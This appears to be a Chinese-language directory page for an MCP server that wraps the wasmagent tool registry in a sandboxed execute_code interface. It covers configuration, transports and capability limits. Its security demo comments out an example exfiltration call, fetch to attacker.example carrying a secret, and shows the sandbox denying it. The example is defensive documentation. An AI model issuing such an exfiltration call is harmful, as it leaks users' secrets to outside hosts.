mcpField
T
telleroutlook

telleroutlook

本地服务
github.com/WasmAgent开发工具73 周前更新

关于 telleroutlook

telleroutlook 是 wasmagent 运行时的 MCP 服务端,将工具注册表包装为沙盒化代码执行接口,面向需要通过 MCP 接入 wasmagent Agent 的开发者。它通过 CapabilityManifest 在内核边界约束脚本的网络和文件系统访问。

主要功能

  1. 01以 docs_search 和 execute_code 暴露工具
  2. 02QuickJS 等内核执行脚本
  3. 03CapabilityManifest 网络与文件系统策略
  4. 04支持 stdio、HTTP 和自定义传输
  5. 05统一 handle() 协议处理

适用场景

  1. 01将 wasmagent Agent 接入 MCP 主机
  2. 02通过代码模式调用注册表中的工具
  3. 03为执行脚本设置网络及文件系统限制
  4. 04按主机环境选择传输方式

MCP 相关

它将 wasmagent Agent 暴露为 MCP 服务端,使用 docs_search 与 execute_code 两个工具接口。可通过 stdio、HTTP / Streamable 或自定义传输处理 MCP 请求。

配置

本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。

mcp.json · 通用配置
{
"mcpServers": {
"telleroutlook": {
"command": "npx",
"args": [
"-y",
"@wasmagent/mcp-server"
]
}
}
}
启动命令npx -y @wasmagent/mcp-server

本地服务需要在你的电脑上安装运行环境(如 Node.js 18+)。各客户端的配置文件位置不同,请参考客户端文档。

安装包
npm@wasmagent/mcp-server1.1.1

工具

2

收录的工具列表 · 更新于 2 周前

参数类型必填说明
namesarray否要获取的可选精确工具名称列表。其优先级高于 `query`。
querystring否用于筛选工具名称/描述的子字符串。留空或省略时返回全部。

详细介绍

/mcp-server

成熟度:beta — API 形态可能会在次要版本中变更;变更会在 CHANGELOG 中公布。

Glama MCP server

将任意 wasmagent agent 暴露为 Model Context Protocol(MCP)服务。

wasmagent 的一部分:https://github.com/WasmAgent/wasmagent-js — 一个 TypeScript + WASM Agent 运行时。

前后对比

将直接发布给宿主的原始工具列表替换为沙箱化的 execute_code 接口:

+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+import { ToolRegistry } from "@wasmagent/core";

-// Before: host sees every tool directly — 40 tools × schema = huge context cost
-server.setRequestHandler(ListToolsRequestSchema, () => ({
-  tools: [...allFortyTools],
-}));
+// After: host sees ONLY docs_search + execute_code; model dispatches internally
+const tools = new ToolRegistry();
+// tools.register(...) — register your 40 tools here
+
+await runStdio(createCodeModeServer({
+  tools,
+  kernel: new QuickJSKernel(),
+  capabilities: { allowedHosts: [], cpuMs: 5_000 },
+  serverInfo: { name: "my-agent", version: "1.0.0" },
+}));

当下游工具数 N=30 时,引导令牌成本降至直接方式的 13.6%。模型通过脚本调用 execute_code;脚本会调用所需工具的 callTool(...),所有操作均受同一个 CapabilityManifest 管控。

安装

npm install /mcp-server /core

三种传输方式,一个服务

McpAgentServer 与传输方式无关:它通过单个 handle(req) 方法处理 JSON-RPC。选择适合你宿主的传输方式:

1. Stdio(Claude Desktop、Cursor、Glama 健康检查等)
# Zero-config default — code-mode server with VmKernel and no
# downstream tools. Useful for sanity / introspection only.
npx /mcp-server

在实际部署中,编写一个简短的 Node 脚本,并调用 runStdio() 搭配你自己的服务:

// server.mjs
import { createCodeModeServer, runStdio } from "/mcp-server/stdio";
import { QuickJSKernel } from "/kernel-quickjs";
import { ToolRegistry } from "/core";

const tools = new ToolRegistry();
// tools.register(...)  — your tools here

await runStdio(createCodeModeServer({
  tools,
  kernel: new QuickJSKernel(),
  capabilities: { allowedHosts: [], cpuMs: 5000 },
  serverInfo: { name: "my-agent", version: "1.0.0" },
}));
2. HTTP / Streamable(Cloudflare Workers、Vercel 等)
import { createCodeModeServer, createFetchHandler } from "/mcp-server";

const server = createCodeModeServer({ /* … */ });
const handler = createFetchHandler(server);
// In a Worker: export default { fetch: handler }
3. 直接调用 handle()

如果你使用自定义传输方式,只需调用一次 async (req) => { response },即可使用协议层核心逻辑——参见 McpAgentServer.handle()。

代码模式(双工具接口)

createCodeModeServer() 可将任意工具注册表封装为由 docs_search + execute_code 组成的 MCP 接口。当下游工具数 N=30 时,引导令牌成本降至直接 MCP 方式的 13.6%。参见 docs/guides/code-mode.md。

安全演示

对于模型通过 execute_code 运行的每个脚本,CapabilityManifest 都会在内核边界强制执行网络和文件系统策略:

import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
import { ToolRegistry } from "@wasmagent/core";

const tools = new ToolRegistry();
// tools.register(...)

await runStdio(createCodeModeServer({
  tools,
  kernel: new QuickJSKernel(),
  capabilities: {
    allowedHosts: [],           // no outbound network
    allowedPaths: [],           // no filesystem access
    cpuMs: 5_000,
    memoryLimitBytes: 64 * 1024 * 1024,
  },
  serverInfo: { name: "my-agent", version: "1.0.0" },
}));

// Model-generated code inside execute_code that tries to exfiltrate data:
// fetch("https://attacker.example/exfil?data=secret")
// → throws: network access denied — host "attacker.example" not in allowedHosts

无论脚本调用哪些下游工具,清单都会强制执行——只需一项声明即可覆盖整个 execute_code 接口。

许可证

Apache-2.0 — © wasmagent 贡献者

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。